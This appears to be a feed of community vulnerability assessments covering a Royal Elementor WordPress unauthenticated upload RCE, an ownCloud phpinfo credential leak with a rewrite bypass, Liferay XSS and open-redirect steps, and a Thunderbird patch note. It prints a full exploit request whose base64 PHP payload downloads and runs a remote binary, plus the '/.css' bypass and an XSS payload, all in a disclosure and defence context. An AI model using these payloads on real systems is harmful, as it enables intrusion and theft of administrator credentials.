Activity Feed

Indicated source as
2
Ratings
Technical Analysis

The Royal Elementor Addons and Templates WordPress plugin provides themes and templates to make your WordPress site aesthetically pleasing with little effort. With over 200,000 installations it is quite popular making it a fantastic target for opportunistic attackers.

Versions prior to 1.3.79 are vulnerable to a file upload vulnerability which results in code execution as the user running the WordPress site. Once a WordPress site is configured to use the Addon the following action wpr_addons_upload_file listens for input on the /wp-admin/admin-ajax.php endpoint and is envokeable via a POST request. The action is accessible without authentication and fails to properly sanitize incoming file types. The endpoint won’t allow you to upload the .php file type however if you upload a PHP payload with the filetype .ph$p it bypasses the sanitization mechanism and allows you to drop a payload on the target.

Exploitation of the vulnerability is demonstrated in the following POST request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.docksal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Content-Type: multipart/form-data; boundary=---------------------------612499444778935602855148342223
Content-Length: 1078

-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="uploaded_file"; filename="WmrRA8wI.ph$p"
Content-Type: application/octet-stream

<?php system(base64_decode('Y3VybCAtc28gLi92RVNIVllzd0p2dyBodHRwOi8vMTcyLjE2LjE5OS4xMzc6ODA4MC9rQW9vd3NKYnpVRER3X2FDbFg4RDhnOyBjaG1vZCAreCAuL3ZFU0hWWXN3SnZ3OyAuL3ZFU0hWWXN3SnZ3ICY='));?>
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="action"

wpr_addons_upload_file
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="max_file_size"

6395
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="allowed_file_types"

ph$p
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="triggering_event"

click
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="wpr_addons_nonce"

aa1b436f01
-----------------------------612499444778935602855148342223--

This has been actively exploited in the wild for a while now with the first signs of exploitation dating back to December 2019.

IOCs

Malicious adversaries have been identified dropping reverse shells in the following two filenames:

b1ack.p$hp with md5sum: 1635f34d9c1da30ff5438e06d3ea6590
wp.ph$p with md5sum: ​​bac83f216eba23a865c591dbea427f22

That being said, I would be suspicious of any .ph$p file if the Royal Elementor Addons and Template plugin was being used in my WordPress site.

*Note: Updating the plugin to the patched version 1.3.79 won’t remove malicious payloads dropped by an attacker – so be sure to scan for unwanted footholds after patching.

The majority of the attacks appear to be coming from the following three IP Addresses:

65[.]21.22.78
2a01[:]4f9:3080:4eea::2
135[.]181.181.50

Attacker Value and Exploitation

  • This is super easy to exploit.
  • It’s an unauth RCE in an interfacing application with +200,000 active installations (it’s a big deal)
  • Exploited in the wild
  • The only reason I’d give it a 4/5 for Attack Value is because it doesn’t give privileged access.
3
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Update Dec 1, 2023: I have updated this assessment to reflect that vulnerable Docker based installations are indeed exploitable with a trivial modification of the original exploit technique. I have adjusted the exploitability rating and attacker value rating to reflect this new information. I also clarified that the addition of phpinfo to the PHP disabled functions list is a recent addition by ownCloud in response to the vulnerability, and it has been back ported to older Docker images.

Overview

Some installations of ownCloud may contain a vulnerable graphapi application which exposes a PHP endpoint /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php that allows the output of the phpinfo() function to be displayed to an attacker. This output may contain sensitive information, such as secrets held in environment variables. How the target endpoint is successfully reached depends on how the ownCloud installation was performed.

ownCloud may be installed via one of two methods as described in the vendor documentation, either via Docker or via a manual installation. How ownCloud was installed will impact its vulnerability.

Installation via Docker

When a vulnerable ownCloud Docker image is run as a Docker container, a vulnerable graphapi application will be present by default (we tested ownCloud 10.13.0 and 10.12.1), however any attempt to reach the vulnerable endpoint will result in a 302 redirect to the login page. This does not happen against a manual installation of a vulnerable ownCloud, as the Docker image contains some additional entries in the file /var/www/owncloud/.htaccess which redirect all requests that don’t match some rewrite rules, to a dispatcher via index.php, which in turn was observed to perform the 302 redirect.

ErrorDocument 403 /core/templates/403.php
ErrorDocument 404 /core/templates/404.php
<IfModule mod_rewrite.c>
 Options -MultiViews
 RewriteRule ^favicon.ico$ core/img/favicon.ico [L]
 RewriteRule ^core/js/oc.js$ index.php [PT,E=PATH_INFO:$1]
 RewriteRule ^core/preview.png$ index.php [PT,E=PATH_INFO:$1]
 RewriteCond %{REQUEST_URI} !\.(css|js|svg|gif|png|html|ttf|woff|ico|jpg|jpeg|json|properties)$
 RewriteCond %{REQUEST_URI} !\.(min|js|auto)\.map$
 RewriteCond %{REQUEST_URI} !^/core/img/favicon\.ico$
 RewriteCond %{REQUEST_URI} !^/robots\.txt$
 RewriteCond %{REQUEST_URI} !^/remote\.php
 RewriteCond %{REQUEST_URI} !^/public\.php
 RewriteCond %{REQUEST_URI} !^/cron\.php
 RewriteCond %{REQUEST_URI} !^/core/ajax/update\.php
 RewriteCond %{REQUEST_URI} !^/status\.php$
 RewriteCond %{REQUEST_URI} !^/ocs/v1\.php
 RewriteCond %{REQUEST_URI} !^/ocs/v2\.php
 RewriteCond %{REQUEST_URI} !^/updater/
 RewriteCond %{REQUEST_URI} !^/ocs-provider/
 RewriteCond %{REQUEST_URI} !^/ocm-provider/
 RewriteCond %{REQUEST_URI} !^/\.well-known/(acme-challenge|pki-validation)/.*
 RewriteRule . index.php [PT,E=PATH_INFO:$1]
 RewriteBase /
 <IfModule mod_env.c>
   SetEnv front_controller_active true
   <IfModule mod_dir.c>
     DirectorySlash off
   </IfModule>
 </IfModule>
</IfModule>

While it was initially believed that avoiding the Apache rewrite rule that generated a 302 response was not possible, it has now been discovered that a simple modification to the target URI path can bypass the rewrite rule and successfully reach the target endpoint. We can see above that several file extensions have a rewrite condition that will avoid the rewrite rule if they are passed. Specifically paths that end in .css or .js (and so on) will not be subject to the rewrite condition. In order to successfully call the target PHP page, while also ending a URI path with a file extension that is not .php, we can append a forward slash followed by the file extension that will bypass the rewrite condition. For example appending /.css to the target URI will allow the GetPhpInfo.php page to be called while still ending the URI in a file extension that bypasses the rewrite condition.

This will reveal the OWNCLOUD_ADMIN_USERNAME and OWNCLOUD_ADMIN_PASSWORD, allowing an attacker to login to the ownCloud system as an Administrator user, as shown below:

ownCloud_hax2.png

Mitigating with PHP disabled functions

It appears ownCloud has been updating older Docker images (we tested 10.13.0 and 10.12.2) to add the PHP function phpinfo to the disable_functions list. If this is in place, even if you can reach the vulnerable endpoint, you would get no content returned.

root@b14ad59db823:/var/www/owncloud# cat /etc/php/7.4/apache2/conf.d/99-owncloud-apache.ini 
= pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,phpinfo,show_source,fopen_with_path,
dbmopen,dbase_open,filepro_retrieve,posix_mkfifo
root@b14ad59db823:/var/www/owncloud#

Notably, we also inspected an older Docker image for version 10.10.0 and 10.12.1, and found that these versions do not contain ‘phpinfo’ in the disable_functions list.

For this mitigation to be effective, the running Docker container would have to use a Docker image that has been recently updated to include this mitigation. So containers based on images that did not have this mitigation applied at the time the image was downloaded, will not have the mitigation in place.

Manual Installation

When manually installing ownCloud (we tested 10.13.0 for the manual installation), the graphapi application is not installed by default (unlike the Docker counterpart). You must manually download and install the vulnerable component. After this is done, it is possible to reach the vulnerable endpoint via a simple GET request, resulting in the display of the apache2 processes environment variables.

Exploitability

It seems more likely that sensitive environment variables would be present in a Docker based installation of ownCloud, as this is a common technique used to pass secrets to a Docker container at runtime. In addition, Docker based ownCloud images include the vulnerable graphapi component by default. While the original public exploit did not work against Docker based installations, we now know it is possible to exploit a Docker based installation. This new development significantly increases both the attacker value and exploitability of this vulnerability.

Misc

It is also worth pointing out that the public PoC uses the endpoint /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Note the /owncloud/ path segment at the start of the URI. If ownCloud has been installed either via Docker, or manually as per the official instructions, this path segment is not expected to be present. The expected URI should be /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Researcher Will Dormann has noted this anomaly also.

2
Ratings
  • Attacker Value
    Low
Technical Analysis

Additional information by the reporter at https://liferay.atlassian.net/browse/LPE-17093

Steps to reproduce

  1. Start vanilla 7.0.x/7.1x/7.2.x
  2. create a site team with title: <b onmouseover=alert(document.location)>Test</b>
  3. Click into the Team
  4. click + to add new member
  5. In the popup, hover onto ‘Test’ in the title: “Add New User to Test”

Actual result: XSS popup

Expected: no XSS

Reproduced on: (x) 7.0.x Commit: f0ea5eb8945bd8bd20736d6aff0a5a6e748f5051 (x) 7.2.x Commit: 774c13baf1149336f7011318c0766e1dd0c4270f|https://github.com/liferay/liferay-portal/commit/774c13baf1149336f7011318c0766e1dd0c4270f master private Commit: c379f2a0f2204cf2ded7688e367ef69d72919485

2
Ratings
  • Attacker Value
    Low
Technical Analysis

Additional information added by the discoverer at https://liferay.atlassian.net/browse/LPE-17022

Steps to reproduce:

  1. Create a Web Content Folder Folder1
  2. Configure Folder1 with Workflow Single Approver
  3. Create a Web Content WC1 in Folder1
  4. Go to Notifications
  5. Copy the link of the new notification.
  6. Replace the value of the redirect parameter with http%3A%2F%2Fwww.liferay.com

Expected result:

  • The user is not redirected to a page within [https://www.liferay.com|https://www.liferay.com/]

Actual result:

  • The user is redirected to a page with [https://www.liferay.com|https://www.liferay.com/]
Indicated sources as
  • Threat Feed
  • Personally observed in an environment
1
Ratings
Technical Analysis

Simple to resolve Upgrade Ubuntu:23.10 thunderbird to version 1:115.5.0+build1-0ubuntu0.23.10.1 or higher..

Also looking at the code, there doesn’t seem to be any reason why gPropertiesFile can’t be:

static const char* gPropertiesFile[nsContentUtils::PropertiesFile[COUNT]
The CreateBundle method each of those strings is passed to expects a const char* with no hard-coded expectation of length. It’s static so the symbol can’t be resolved outside this cpp. Also, fwiw the new max length string in that array is 75, not 78 (including null-terminator).

Why is the setting to enable 2 rather than 1?

Apart from that it looks fine to me.

Indicated source as
  • Personally observed in an environment